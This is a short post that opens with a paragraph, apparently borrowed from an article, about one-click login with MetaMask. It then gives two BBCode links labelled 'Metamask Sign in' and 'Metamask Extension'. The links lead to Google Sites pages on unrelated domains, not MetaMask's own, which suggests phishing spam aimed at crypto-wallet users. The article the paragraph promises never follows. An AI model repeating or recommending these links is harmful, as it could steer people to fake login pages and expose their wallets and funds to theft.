Online users are increasingly resistant to traditional email/password registration processes. One-click social login via Facebook, Google, or GitHub is better, but comes with privacy compromises. This article presents a one-click, cryptographically secure login flow using MetaMask with all data stored on the application's own backend. [url=https://sites.google.com/cryptocoinslogin.com/metamasksignin/home]Metamask Sign in[/url] | [url=https://sites.google.com/uscoinlogin.com/metamaskextension/home/]Metamask Extension[/url]